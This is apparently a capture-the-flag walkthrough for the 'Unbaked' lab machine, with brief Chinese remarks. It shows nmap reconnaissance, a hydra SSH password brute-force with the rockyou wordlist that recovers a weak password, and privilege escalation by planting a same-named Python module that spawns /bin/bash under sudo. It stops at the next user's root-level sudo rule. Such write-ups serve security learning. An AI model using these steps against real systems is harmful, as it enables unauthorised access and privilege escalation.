map --min-rate=10000 -p- 10.10.118.24 Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-16 06:10 UTC Nmap scan report for ip-10-10-118-24.eu-west-1.compute.internal (10.10.118.24) Host is up (0.0020s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 5003/tcp open filemaker MAC Address: 02:15:B6:1C:A2:91 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
nmap -sC -sT -sV -O -p5003 10.10.118.24 Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-16 06:11 UTC Nmap scan report for ip-10-10-118-24.eu-west-1.compute.internal (10.10.118.24) Host is up (0.00040s latency).
PORT STATE SERVICE VERSION 5003/tcp open filemaker? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Date: Sat, 16 Mar 2024 06:11:16 GMT | Server: WSGIServer/0.2 CPython/3.8.6 | Content-Type: text/html; charset=utf-8 | X-Frame-Options: DENY | Vary: Cookie | Content-Length: 7453 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | Set-Cookie: csrftoken=D4PpADZYUbPUATOPQHZS9mmUk75Cs4jbfbaRLbAgjvIfOfqeVWp0H68YLxKGVnQy; expires=Sat, 15 Mar 2025 06:11:16 GMT; Max-Age=31449600; Path=/; SameSite=Lax | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> | <meta name="description" content=""> | <meta name="author" content=""> | <title>[Un]baked | /</title> | <!-- Bootstrap core CSS --> | <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> | <!-- Custom fonts for this template --> | <link href="/static/vendor/fontawesome-free/css/all.min.cs | HTTPOptions: | HTTP/1.1 200 OK | Date: Sat, 16 Mar 2024 06:11:17 GMT | Server: WSGIServer/0.2 CPython/3.8.6 | Content-Type: text/html; charset=utf-8 | X-Frame-Options: DENY | Vary: Cookie | Content-Length: 7453 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | Set-Cookie: csrftoken=3pRdS6yIHTkir6MpsNt1dFnyinKIK9sYMjRKL9MnhMTcwmEQZlPKUeg55ZZvKBBa; expires=Sat, 15 Mar 2025 06:11:17 GMT; Max-Age=31449600; Path=/; SameSite=Lax | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> | <meta name="description" content=""> | <meta name="author" content=""> | <title>[Un]baked | /</title> | <!-- Bootstrap core CSS --> | <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> | <!-- Custom fonts for this template --> |_ <link href="/static/vendor/fontawesome-free/css/all.min.cs 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5003-TCP:V=7.93%I=7%D=3/16%Time=65F53805%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,1C59,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2016\x20Mar\x20 SF:2024\x2006:11:16\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.8\. SF:6\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x SF:20DENY\r\nVary:\x20Cookie\r\nContent-Length:\x207453\r\nX-Content-Type- SF:Options:\x20nosniff\r\nReferrer-Policy:\x20same-origin\r\nSet-Cookie:\x SF:20\x20csrftoken=D4PpADZYUbPUATOPQHZS9mmUk75Cs4jbfbaRLbAgjvIfOfqeVWp0H68 SF:YLxKGVnQy;\x20expires=Sat,\x2015\x20Mar\x202025\x2006:11:16\x20GMT;\x20 SF:Max-Age=31449600;\x20Path=/;\x20SameSite=Lax\r\n\r\n\n<!DOCTYPE\x20html SF:>\n<html\x20lang=\"en\">\n\n<head>\n\n\x20\x20<meta\x20charset=\"utf-8\ SF:">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width, SF:\x20initial-scale=1,\x20shrink-to-fit=no\">\n\x20\x20<meta\x20name=\"de SF:scription\"\x20content=\"\">\n\x20\x20<meta\x20name=\"author\"\x20conte SF:nt=\"\">\n\n\x20\x20<title>\[Un\]baked\x20\|\x20/</title>\n\n\x20\x20<! SF:--\x20Bootstrap\x20core\x20CSS\x20-->\n\x20\x20<link\x20href=\"/static/ SF:vendor/bootstrap/css/bootstrap\.min\.css\"\x20rel=\"stylesheet\">\n\n\x SF:20\x20<!--\x20Custom\x20fonts\x20for\x20this\x20template\x20-->\n\x20\x SF:20<link\x20href=\"/static/vendor/fontawesome-free/css/all\.min\.cs")%r( SF:HTTPOptions,1EC5,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2016\x20Mar\ SF:x202024\x2006:11:17\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\. SF:8\.6\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options SF::\x20DENY\r\nVary:\x20Cookie\r\nContent-Length:\x207453\r\nX-Content-Ty SF:pe-Options:\x20nosniff\r\nReferrer-Policy:\x20same-origin\r\nSet-Cookie SF::\x20\x20csrftoken=3pRdS6yIHTkir6MpsNt1dFnyinKIK9sYMjRKL9MnhMTcwmEQZlPK SF:Ueg55ZZvKBBa;\x20expires=Sat,\x2015\x20Mar\x202025\x2006:11:17\x20GMT;\ SF:x20Max-Age=31449600;\x20Path=/;\x20SameSite=Lax\r\n\r\n\n<!DOCTYPE\x20h SF:tml>\n<html\x20lang=\"en\">\n\n<head>\n\n\x20\x20<meta\x20charset=\"utf SF:-8\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid SF:th,\x20initial-scale=1,\x20shrink-to-fit=no\">\n\x20\x20<meta\x20name=\ SF:"description\"\x20content=\"\">\n\x20\x20<meta\x20name=\"author\"\x20co SF:ntent=\"\">\n\n\x20\x20<title>\[Un\]baked\x20\|\x20/</title>\n\n\x20\x2 SF:0<!--\x20Bootstrap\x20core\x20CSS\x20-->\n\x20\x20<link\x20href=\"/stat SF:ic/vendor/bootstrap/css/bootstrap\.min\.css\"\x20rel=\"stylesheet\">\n\ SF:n\x20\x20<!--\x20Custom\x20fonts\x20for\x20this\x20template\x20-->\n\x2 SF:0\x20<link\x20href=\"/static/vendor/fontawesome-free/css/all\.min\.cs"); MAC Address: 02:15:B6:1C:A2:91 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 94.77 seconds
hydra -l ramsey -P /usr/share/wordlists/rockyou.txt ssh://localhost -v Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-16 08:14:28 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://localhost:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://ramsey@127.0.0.1:22 [INFO] Successful, password authentication is supported by ssh://127.0.0.1:22 [ERROR] could not connect to target port 22: Socket error: disconnected [ERROR] ssh protocol error [VERBOSE] Disabled child 15 because of too many errors [ERROR] could not connect to target port 22: Socket error: disconnected [ERROR] ssh protocol error [VERBOSE] Disabled child 14 because of too many errors [22][ssh] host: localhost login: ramsey password: 12345678 [STATUS] attack finished for localhost (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-16 08:14:45
好一个弱密码
ramsey@unbaked:~$ sudo -l [sudo] password for ramsey: Matching Defaults entries for ramsey on unbaked: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ramsey may run the following commands on unbaked: (oliver) /usr/bin/python /home/ramsey/vuln.py
提权
当然，这个目录我们是可写的，于是写一个同名的os.system(‘/bin/bash’)
执行之后我们是oliver
oliver@unbaked:/home/oliver$ sudo -l Matching Defaults entries for oliver on unbaked: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User oliver may run the following commands on unbaked: (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
